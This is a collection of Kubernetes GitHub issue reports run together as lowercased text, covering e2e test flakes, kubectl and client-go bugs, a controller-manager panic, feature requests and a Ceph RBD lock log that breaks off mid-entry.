alpha to beta  1.5 :  - declare 2 sets of annotations, one in the alpha namespace  already exists  and one in the beta namespace  new  - alpha always takes precedence - if alpha is set to a valid value, we write the beta annotation to mirror it clobbering any user field  why convert alpha to beta:      1. users are auto transitioned  2. not converting means if alpha and beta are set to 2 different values, deleting the alpha requires a cleanup of the alpha value, and an activation of the beta value. this might be confusing and error prone.  3. not converting makes handling updates harder, as we would have to allow updates to the \ inactive\  one.  beta to ga  1.6 :  - declare 2 fields that mirros the annotations in beta - ignore alpha annotations  any alpha annotations in play will continue to work because they were translated to the beta annotation  - perform the same conversion time clobbering  if users upgrade from 1.4 to 1.6 directly, the alpha annotation is ignored and esipp stops working.

we have a new vanity url, http://dl.k8s.io/, which redirects to the gcs release bucket - e.g. http://dl.k8s.io/v1.4.0/kubernetes.tar.gz.  right now, the https endpoint doesn't work, since dl.k8s.io isn't in the list of domains on the certificate. once it works, we should switch all references over to the nicer vanity url.  x-ref https://github.com/kubernetes/k8s.io/pull/15

\r $ kc describe deploy\r name:\t\t\tnginx\r namespace:\t\tdefault\r creationtimestamp:\ttue, 13 dec 2016 14:54:23 +0100\r labels:\t\t\tname=nginx-undo\r selector:\t\tname=nginx-undo\r replicas:\t\t2 updated | 842354255776 total | 2 available | 2 unavailable\r strategytype:\t\trollingupdate\r minreadyseconds:\t0\r rollingupdatestrategy:\t1 max unavailable, 1 max surge\r conditions:\r   type\t\tstatus\treason\r   ----\t\t------\t------\r   available \ttrue\tminimumreplicasavailable\r oldreplicasets:\tnginx-2812786133  0/842353733888 replicas created , nginx-3142235609  0/842353338192 replicas created , nginx-3224745434  0/842353205456 replicas created , nginx-3389568476  0/842353077040 replicas created , nginx-3719214560  0/842352825968 replicas created , nginx-3472012765  0/842352977168 replicas created , nginx-3554522590  0/842352983344 replicas created , nginx-3225007578  0/842353207792 replicas created , nginx-3307255259  0/842353211664 replicas created , nginx-3554325982  0/842352981216 replicas created , nginx-3554391518  0/842352981888 replicas created , nginx-3801593313  0/842352648352 replicas created , nginx-2895164886  0/842353736848 replicas created , nginx-314819091  2/842353341736 replicas created , nginx-3224876506  0/842353206624 replicas created , nginx-3389765084  0/842353079280 replicas created , nginx-3471947229  0/842352976640 replicas created , nginx-3142497753  0/842353340608 replicas created , nginx-3389371868  0/842353075296 replicas created , nginx-3472143837  0/842352978496 replicas created , nginx-3636704735  0/842352821328 replicas created , nginx-3636835807  0/842352822656 replicas created , nginx-3224614362  0/842353343440 replicas created , nginx-3719083488  0/842352824736 replicas created , nginx-3636770271  0/842352822096 replicas created , nginx-3883972066  0/842352650160 replicas created , nginx-3060119000  0/842353337088 replicas created , nginx-3224810970  0/842353206032 replicas created , nginx-3306993115  0/842353209440 replicas created , nginx-3472078301  0/842352977920 replicas created , nginx-3554194910  0/842352979760 replicas created , nginx-3307386331  0/842353212912 replicas created , nginx-3389634012  0/842353077616 replicas created , nginx-3554457054  0/842352982512 replicas created \r newreplicaset:\tnginx-3966416355  2/842352651248 replicas created \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   4m\t\t4m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-314819091 to 3\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-3189421475 to 1\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled down replica set nginx-314819091 to 2\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-3189421475 to 2\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled down replica set nginx-3189421475 to 0\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-3271800228 to 2\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled down replica set nginx-3271800228 to 0\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-3354178981 to 2\r   3m\t\t3m\t\t1\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\tscaled down replica set nginx-3354178981 to 0\r   3m\t\t1s\t\t171\t{deployment-controller }\t\tnormal\t\tscalingreplicaset\t events with common reason combined \r    \r @kubernetes/kubectl @kubernetes/sig-cli @kubernetes/deployment

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-alpha-features/1455/  failed:  k8s.io  esipp  slow  should only target nodes with endpoints  feature:externaltrafficlocalonly  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1328 dec 15 09:00:04.772: could not reach http service through 35.184.35.206:80 after 5m0s: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:2452

i brought up a cluster on head on gce using cluster/kube-up.sh. the cluster came up fine but running any kubectl command gives me:\r    \r error: group map batch:0xc820428070 certificates.k8s.io:0xc8204280e0 componentconfig:0xc820428150 extensions:0xc820428230 policy:0xc8204282a0 rbac.authorization.k8s.io:0xc820428310 federation:0xc820377730 :0xc820377c00 authorization.k8s.io:0xc820377e30 autoscaling:0xc820377ea0 storage.k8s.io:0xc820428380 apps:0xc820377c70 authentication.k8s.io:0xc820377ce0  is already registered\r    \r \r cc @kubernetes/sig-cluster-lifecycle-misc kube-up.sh should work, right?

due to some recent changes  at some point before 16th , fluentd ooms and e2e test flakes\r \r cc @piosz

follow-up of https://github.com/kubernetes/kubernetes/pull/46700 discussion_r119539877\r \r there are a lot of pod-nannies in the cluster already, each of them consuming non-zero amount of resources  90+mb of memory, 50+m cpu . it would be much more preferable to have only one nanny which can be configured to scale multiple pods.\r \r maybe this should be a separate controller? with an api representation?\r \r /cc @piosz @wojtek-t

schedulerpriorities  serial  pods should be scheduled to low resource use rate node 1m26s\r \r  log  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-cvm-1-7-upgrade-cluster-new/7 k8sio-schedulerpriorities-serial-pods-should-be-scheduled-to-low-resource-use-rate-node ,   test grid  https://k8s-testgrid.appspot.com/1.6-1.7-upgrade gke-cvm-upgrade-cluster-new&include-filter-by-regex=%5eoverall%24%7c%5c%5bk8s%5c.io%5c%5d%5c%20schedulerpriorities%5c%20%5c%5bserial%5c%5d%5c%20pods%5c%20should%5c%20be%5c%20scheduled%5c%20to%5c%20low%5c%20resource%5c%20use%5c%20rate%5c%20node \r \r constant failure suggest test covers old behavior?\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/priorities.go:108\r expected\r     <string>: gke-bootstrap-e2e-default-pool-41f3b929-jcc8\r to equal\r     <string>: gke-bootstrap-e2e-default-pool-41f3b929-l0gr\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/priorities.go:107from junit_01.xml\r    \r \r \r  /assign @timothysc \r

when openid connect id tokens are evaluated, we prefix all claims that aren't \ email\  with the issuer url to prevent clashes with other authenticators. this causes usernames to end up look like:\r \r    \r https://example.auth.com janedoe\r    \r \r or more likely, something much harder to work with:\r \r    \r https://kcdev.tremolosecurity.com:8443/auth/realms/kubernetes mmosley.ent2k12.domain.com\r    \r \r it was brought up in https://github.com/kubernetes/kubernetes/issues/31380 that this value should be configurable, and possibly apply to groups too.\r \r cc @grillz @kubernetes/sig-auth-feature-requests \r /assign @ericchiang

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r currently for querying all children resources, a k8s user needs to define custom labelling. the problem comes to transferring knowledge of this labelling. for example, etcd operator might add labels  etcd_cluster=<cluster-name>  to etcd pods, services. but consumers of etcd operator needs to understand etcd operator's labelling convention. this has caused two problems:\r \r - even if detailed docs is provided, users are reluctant to follow it. they want to define their own labelling in order to query children resources. this causes inconsistency. and querying children resources is very common and everyone does  duplicates  it.\r - it couples development team and consumer. whatever labels has been created, modified, it will affect the consumers.\r \r it's a better way to handle this if k8s can provide feature to query children resources:\r \r - it is a very common use.\r - k8s itself needs it as well, e.g. gc\r - this is more efficient and simple if reserve index is built inside apiserver.\r

is this a bug report or feature request?  :\r \r   \r   what happened  : mutliple prs are seeing the same flaky failure on bazel test running pkg/master\r \r   what you expected to happen  : test to pass\r \r   how to reproduce it  as minimally and precisely as possible   : \r \r \r   anything else we need to know?  :\r seeing the following in the log.\r \r 2018-02-06 22:37:40.535268 i | integration: terminating 825844212551372936  unix://localhost:8258442125513729360 \r warning: 2018/02/06 22:37:40 grpc: addrconn.resettransport failed to create client transport: connection error: desc = \ transport: error while dialing dial unix localhost:8258442125513729360: connect: no such file or directory\ ; reconnecting to {localhost:8258442125513729360 0  <nil>}\r \r failure log can be found at https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/59010/pull-kubernetes-bazel-test/29614/\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  \r   what happened  :\r \r using client-go, i tried to create a custom resource, but got a generic error:\r \r    \r an error on the server  \ unknown\   has prevented the request from succeeding  post myresources.mygroup.com \r    \r \r   what you expected to happen  :\r \r i would expect a more specific error, eg:\r \r    \r an error on the server  \ object 'kind' is missing in '{}'\   has prevented the request from succeeding  post myresources.mygroup.com \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r apply this crd with  kubectl apply -f  \r \r    \r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: myresources.mygroup.com\r spec:\r   group: mygroup.com\r   version: v1alpha1\r   names:\r     kind: goal\r     plural: myresources\r     singular: myresource\r   scope: namespaced\r    \r \r then start  kubectl proxy -p 8080  and run the code below:\r \r    \r package main\r \r import  \r \t\ log\ \r \r \t\ k8s.io/apimachinery/pkg/runtime/schema\ \r \t\ k8s.io/apimachinery/pkg/runtime/serializer\ \r \t\ k8s.io/client-go/kubernetes/scheme\ \r \t\ k8s.io/client-go/rest\ \r  \r \r func main   {\r \tclient, err := rest.restclientfor &rest.config{\r \t\thost:    \ localhost:8080\ ,\r \t\tapipath: \ /apis\ ,\r \t\tcontentconfig: rest.contentconfig{\r \t\t\tgroupversion: &schema.groupversion{\r \t\t\t\tgroup:   \ mygroup.com\ ,\r \t\t\t\tversion: \ v1alpha1\ ,\r \t\t\t},\r \t\t\tnegotiatedserializer: serializer.directcodecfactory{codecfactory: scheme.codecs},\r \t\t},\r \t} \r \tif err != nil {\r \t\tlog.fatal err \r \t}\r \tr := client.post  .namespace \ default\  .resource \ myresources\  .body   byte \ {}\   \r \tlog.println r.url   \r \t_, err = r.doraw  \r \tlog.println \ err:\ , err \r }\r    \r \r   anything else we need to know?  :\r \r i did some spelunking and saw that  transformunstructuredresponseerror  https://github.com/kubernetes/kubernetes/blob/3abba25160590921fec61236ba012a8bbd757d6c/staging/src/k8s.io/client-go/rest/request.go l905  doesn't do what it says. the comment claims it assumes \ the server sends you something sane - json + well defined error objects + proper codes\ . however, it appears to ignore the body unless the content-type starts with  text/ . in this case, the body contains the following json:\r \r    \r {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ object 'kind' is missing in 'object has no kind field '\ ,\ code\ :500}\r    \r \r which explains the cause much better  although admittedly  \ code\ : 500  and  is missing in 'object has no kind field'  aren't ideal .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:13:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.6-gke.1\ , gitcommit:\ cb151369f60073317da686a6ce7de36abe2bda8d\ , gittreestate:\ clean\ , builddate:\ 2018-04-07t22:06:59z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  : 4.9.0-6-amd64  1 smp debian 4.9.82-1+deb9u3  2018-03-02  x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r  e2e test suites about:\r - delete /api/v1/nodes/{name}\r - post /api/v1/nodes\r \r   why is this needed  :\r this is an important effort, part of a broader effort to improve the coverage of the conformance tests, and improving kubernetes test coverage generally is one of the most important areas where we could spend such resources.\r \r <!-- do not edit below this line -->\r 

at the time a new branch is created,  new jenkins jobs need to be spun up  https://github.com/kubernetes/kubernetes/blob/master/docs/devel/releasing.md manual-tasks-for-new-release-series .  see also  20946.  this is currently a labor-intensive process that requires much specialized knowledge of the current state of jenkins and jenkins in general.   ideally this can be distilled to a simple interface  config/button/whatever  that can be updated at some point so that the release tooling can easily trigger it when a new branch is created.  like adding the new branch to a config file.  @ihmccreery had a good idea in a meeting recently that the current master \ set\  is simply copied to create the new branch  in the same way the code is branched from master , rather than trying to set something up new.   cc @spxtr @ixdy @fejta

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :  no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  concurrent map writes    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :  $ kubectl version client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ , builddate:\ 2016-07-01t19:26:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5\ , gitcommit:\ b0deb2eb8f4037421077f77cb163dbb4c0a2a9f5\ , gittreestate:\ clean\ , builddate:\ 2016-08-11t20:21:58z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  : openstack -   os    e.g. from /etc/os-release :   $ cat /etc/os-release    name=\ ubuntu\    version=\ 16.04.1 lts  xenial xerus \    id=ubuntu   id_like=debian   pretty_name=\ ubuntu 16.04.1 lts\    version_id=\ 16.04\    home_url=\ http://www.ubuntu.com/\    support_url=\ http://help.ubuntu.com/\    bug_report_url=\ http://bugs.launchpad.net/ubuntu/\    ubuntu_codename=xenial -   kernel    e.g.  uname -a  :   $ uname -a   linux master1 4.4.0-34-generic  53-ubuntu smp wed jul 27 16:06:39 utc 2016 x86_64 x86_64 x86_64 gnu/linux -   install tools  : -   others  :    what happened  : i noticed a panic in the kube-controller-manager in a 3 node ha kubernetes controller deployment. here are the logs: aug 30 15:36:57 ubuntu16 kube-controller-manager 19004 : e0830 15:36:57.457558   19004 leaderelection.go:318  err: operation cannot be fulfilled on endpoints \ kube-controller-manager\ : the  aug 30 15:36:57 ubuntu16 kube-controller-manager 19004 : w0830 15:36:57.741242   19004 request.go:347  field selector: v1 - serviceaccounts - metadata.name - default: need to check if this  aug 30 15:36:57 ubuntu16 kube-controller-manager 19004 : w0830 15:36:57.762328   19004 reflector.go:334  pkg/controller/serviceaccount/tokens_controller.go:147: watch of _api.serviceaccount aug 30 15:36:57 ubuntu16 kube-controller-manager 19004 : w0830 15:36:57.764460   19004 reflector.go:334  pkg/controller/serviceaccount/serviceaccounts_controller.go:142: watch of  api.servi aug 30 15:36:58 ubuntu16 kube-controller-manager 19004 : w0830 15:36:58.764857   19004 request.go:347  field selector: v1 - serviceaccounts - metadata.name - default: need to check if this  aug 30 15:36:58 ubuntu16 kube-controller-manager 19004 : w0830 15:36:58.771127   19004 request.go:347  field selector: v1 - serviceaccounts - metadata.name - default: need to check if this  aug 30 15:37:01 ubuntu16 kube-controller-manager 19004 : e0830 15:37:01.594976   19004 leaderelection.go:318  err: operation cannot be fulfilled on endpoints \ kube-controller-manager\ : the  aug 30 15:37:03 ubuntu16 kube-controller-manager 19004 : e0830 15:37:03.554584   19004 leaderelection.go:318  err: operation cannot be fulfilled on endpoints \ kube-controller-manager\ : the  aug 30 15:37:04 ubuntu16 kube-controller-manager 19004 : fatal error: concurrent map writes aug 30 15:37:04 ubuntu16 kube-controller-manager 19004 : goroutine 823  running : aug 30 15:37:04 ubuntu16 kube-controller-manager 19004 : runtime.throw 0x2c5d4f0, 0x15  aug 30 15:37:04 ubuntu16 kube-controller-manager 19004 :         /usr/local/go/src/runtime/panic.go:547 +0x90 fp=0xc8208fcab0 sp=0xc8208fca98 aug 30 15:37:04 ubuntu16 kube-controller-manager 19004 : runtime.mapassign1 0x1e3e820, 0xc8205518f0, 0xc8208fcbf8, 0xc8208fcc48  aug 30 15:37:04 ubuntu16 kube-controller-manager 19004 :         /usr/local/go/src/runtime/hashmap.go:445 +0xb1 fp=0xc8208fcb58 sp=0xc8208fcab0 aug 30 15:37:04 ubuntu16 kube-controller-manager 19004 : k8s.io/kubernetes/pkg/client/cache. _deltafifo .queueactionlocked 0xc8200dadc0, 0x2a3fcd0, 0x4, 0x29f02e0, 0xc82106c2c0, 0x0, 0x0  aug 30 15:37:04 ubuntu16 kube-controller-manager 19004 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/delta_fifo.go:314 +0x5d1 fp=0xc8208fc aug 30 15:37:04 ubuntu16 kube-controller-manager 19004 : k8s.io/kubernetes/pkg/client/cache. _deltafifo .resync 0xc8200dadc0, 0x0, 0x0  aug 30 15:37:04 ubuntu16 kube-controller-manager 19004 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/delta_fifo.go:498 +0x4f7 fp=0xc8208fc aug 30 15:37:04 ubuntu16 kube-controller-manager 19004 : k8s.io/kubernetes/pkg/client/cache. _reflector .listandwatch.func1 0xc820107318, 0xc82004ede0, 0xc8202e23c0, 0xc821233aa0, 0xc820107 aug 30 15:37:04 ubuntu16 kube-controller-manager 19004 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:289 +0x252 fp=0xc8208fcf aug 30 15:37:04 ubuntu16 kube-controller-manager 19004 : runtime.goexit      what you expected to happen  : i did not expect to hit a code path where i noticed concurrent map writes.     how to reproduce it    as minimally and precisely as possible : used the following steps:  https://github.com/kelseyhightower/kubernetes-the-hard-way/blob/master/docs/04-kubernetes-controller.md the difference is that i used openstack as the cloud provider    anything else do we need to know  : i had cloned the 3 ha controller vms from a single volume, so initially they ended up with the same linux hostname. that explains the failure in the leader election, but not sure if it's related to the panic. i fixed the hostnames later and the leader election succeeded.

currently we get image list from runtime every time we update node status:\r   https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet_node_status.go l548\r   https://github.com/kubernetes/kubernetes/blob/1dfd64f4378ad9dd974bbfbef8e90127dce6aafe/pkg/kubelet/images/image_gc_manager.go l150\r \r however, this may make node status update blocked by docker image operation. especially when docker hits bugs like https://github.com/docker/docker/issues/21215.\r \r even though we have runtime operation timeout, node status update won't block forever, it may still be quite slow.\r \r we should:\r 1  cache image list instead of get from runtime everytime.\r 2  detect this kind of issue and surface it through node status.\r \r @yujuhong @dchen1107 \r /cc @kubernetes/sig-node

is this a bug report or feature request?    choose one :\r feature request\r \r   kubernetes version    use  kubectl version  :\r master\r \r   what happened  :\r all md files in docs are updated.\r \r   what you expected to happen  :\r create a pr for the update or skip  mungedocs \r \r   how to reproduce it    as minimally and precisely as possible :\r run  ./hack/update-generated-docs.sh \r \r

\r \r <!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no, report a bug.\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r 1.5.1\r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r centos linux release 7.2.1511  core \r -   kernel    e.g.  uname -a  :\r 3.10.0-327.36.3.el7.x86_64\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r i use \r   'kubectl get nodes      -o yaml'    to get the node's informations.\r then i find the allocatable resource and it's capacity are always the same.\r i have some  pods running on that pod and created with resource request and resource limit configure.\r \r    \r  allocatable:\r     alpha.kubernetes.io/nvidia-gpu: \ 0\ \r     cpu: \ 40\ \r     memory: 131801312ki\r     pods: \ 110\ \r   capacity:\r     alpha.kubernetes.io/nvidia-gpu: \ 0\ \r     cpu: \ 40\ \r     memory: 131801312ki\r     pods: \ 110\ \r    \r \r    \r  nodeinfo:\r     architecture: amd64\r     bootid: xxxxxxxxxxxxxxxxxxx\r     containerruntimeversion: docker://1.11.2\r     kernelversion: 3.10.0-327.36.3.el7.x86_64\r     kubeproxyversion: v1.5.1\r     kubeletversion: v1.5.1\r     machineid: xxxxxxxxx\r     operatingsystem: linux\r     osimage: centos linux 7  core \r     systemuuid: xxxxxxxxxxx\r    \r \r \r   what you expected to happen  :\r \r the allocatable resource should less than the capacity.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r just get the node status\r \r   anything else we need to know  :\r \r

\r    bug report?    choose one :\r https://k8s-testgrid.appspot.com/latest-upgrades gce-cluster\r \r upgrade testing is broken on master. it appears that clusters fail to launch.\r @kubernetes/sig-testing-bugs \r @kubernetes/test-infra-maintainers

\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1388\r jun 19 14:59:16.138: could not reach http service through 35.188.108.201:80 after 5m0s: received non-success return status \ 404 not found\  trying to access http://35.188.108.201:80/echo?msg=hello; got body: default backend - 404\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/service_util.go:764\r    \r \r https://k8s-testgrid.appspot.com/release-1.7-blocking gci-gce-slow-release-1-7\r \r it's quite flaky.\r \r @kubernetes/kubernetes-release-managers

i was running a kubectl logs -f, not for long, that broke unexpectedly with\r    \r {\ level\ :\ info\ ,\ msg\ :\ sync time: 2.276207ms\ ,\ time\ :\ 2017-06-20t17:30:02z\ }\r {\ level\ :\ info\ ,\ msg\ :\ sync time: 5.663623ms\ ,\ time\ :\ 2017-06-20t17:30:32z\ }\r unexpected stream type \ \ \r    \r doesn't seem normal. \r \r    \r $ kc version\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.533+1168552fade5fd\ , gitcommit:\ 1168552fade5fd138e4af664ed7b31ec40c6a20f\ , gittreestate:\ clean\ , builddate:\ 2017-06-10t16:56:39z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r @kubernetes/sig-node-bugs \r @kubernetes/sig-cli-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r pod was deleted successfully but there is still a lock on the ceph image. i find two logs,one for that lock not removed and another for that lock removed. i find that there are little difference between them.\r \r the log that lock not removed:\r    \r oct 16 17:49:06 gs-server-4081 kubelet: i1016 17:49:06.859629   12668 reconciler.go:242  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/rbd/4037ef87-b257-11e7-9ddb-00155d283404-mongo-node-2\   spec.name: \ mongo-node-2\   pod \ 4037ef87-b257-11e7-9ddb-00155d283404\   uid: \ 4037ef87-b257-11e7-9ddb-00155d283404\  \r oct 16 17:49:07 gs-server-4081 kernel: rbd: loaded\r oct 16 17:49:08 gs-server-4081 kubelet: i1016 17:49:08.060636   12668 rbd_util.go:141  lock list output \ \ \r oct 16 17:49:09 gs-server-4081 kernel: rbd0: unknown partition table\r oct 16 17:49:09 gs-server-4081 kernel: rbd: rbd0: added with size 0x1900000000\r oct 16 17:49:13 gs-server-4081 kernel: rbd0: unknown partition table\r oct 16 17:49:14 gs-server-4081 kernel: ext4-fs  rbd0 : mounted filesystem with ordered data mode. opts:  null \r oct 16 17:49:14 gs-server-4081 kernel: ext4-fs  rbd0 : re-mounted. opts:  null \r oct 16 17:49:14 gs-server-4081 kubelet: i1016 17:49:14.160393   12668 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/rbd/4037ef87-b257-11e7-9ddb-00155d283404-mongo-node-2\   spec.name: \ mongo-node-2\   pod \ 4037ef87-b257-11e7-9ddb-00155d283404\   uid: \ 4037ef87-b257-11e7-9ddb-00155d283404\  .\r oct 18 15:20:54 gs-server-4081 kubelet: i1018 15:20:54.941430   10754 reconciler.go:242  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/rbd/4037ef87-b257-11e7-9ddb-00155d283404-mongo-node-2\   spec.name: \ mongo-node-2\   pod \ 4037ef87-b257-11e7-9ddb-00155d283404\   uid: \ 4037ef87-b257-11e7-9ddb-00155d283404\  \r oct 18 15:20:55 gs-server-4081 kernel: rbd: loaded\r oct 18 15:20:56 gs-server-4081 kubelet: i1018 15:20:56.427300   10754 rbd_util.go:141  lock list output \ there is 1 exclusive lock on this image.\ locker         id                                address                \ client.1227132 kubelet_lock_magic_gs-server-4081 10.203.40.80:0/1064444 \ \ \r oct 18 15:20:56 gs-server-4081 kernel: rbd0: unknown partition table\r oct 18 15:20:56 gs-server-4081 kernel: rbd: rbd0: added with size 0x1900000000\r oct 18 15:21:13 gs-server-4081 kernel: rbd0: unknown partition table\r oct 18 15:21:14 gs-server-4081 kernel: ext4-fs  rbd0 : mounted filesystem with ordered data mode. opts:  null \r oct 18 15:21:14 gs-server-4081 kernel: ext4-fs  rbd0 : re-mounted. opts:  null \r oct 18 15:21:14 gs-server-4081 kubelet: i1018 15:21:14.680620   10754 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/rbd/4037ef87-b257-11e7-9ddb-00155d283404-mongo-node-2\   spec.name: \ mongo-node-2\   pod \ 4037ef87-b257-11e7-9ddb-00155d283404\   uid: \ 4037ef87-b257-11e7-9ddb-00155d283404\  .\r oct 18 15:21:14 gs-server-4081 kubelet: i1018 15:21:14.701955   10754 reconciler.go:201  unmountvolume operation started for volume \ kubernetes.io/rbd/4037ef87-b257-11e7-9ddb-00155d283404-mongo-node-2\   spec.name: \ mongo-node-2\   from pod \ 4037ef87-b257-11e7-9ddb-00155d283404\   uid: \ 4037ef87-b257-11e7-9ddb-00155d283404\  .\r oct 18 15:21:15 gs-server-4081 kubelet: e1018 15:21:15.058692   10754 disk_manager.go:113  failed to detach disk from /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/k8s-image-mongo-node-2\r oct 18 15:21:15 gs-server-4081 kubelet: e1018 15:21:15.058752   10754 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/rbd/4037ef87-b257-11e7-9ddb-00155d283404-mongo-node-2\\\   \\\ 4037ef87-b257-11e7-9ddb-00155d283404\\\  \  failed. no retries permitted until 2017-10-18 15:21:15.558727726 +0800 cst  durationbeforeretry 500ms . error: unmountvolume.teardown failed for volume \ kubernetes.io/rbd/4037ef87-b257-11e7-9ddb-00155d283404-mongo-node-2\   volume.spec.name: \ mongo-node-2\   pod \ 4037ef87-b257-11e7-9ddb-00155d283404\   uid: \ 4037ef87-b257-11e7-9ddb-00155d283404\   with: rbd: failed to unmap device /dev/rbd0:error: exit status 16\r oct 18 15:21:15 gs-server-4081 kubelet: i1018 15:21:15.603635   10754 reconciler.go:201  unmountvolume operation started for volume \ kubernetes.io/rbd/4037ef87-b257-11e7-9ddb-00155d283404-mongo-node-2\   spec.name: \ mongo-node-2\   from pod \ 4037ef87-b257-11e7-9ddb-00155d283404\   uid: \ 4037ef87-b257-11e7-9ddb-00155d283404\  .\r oct 18 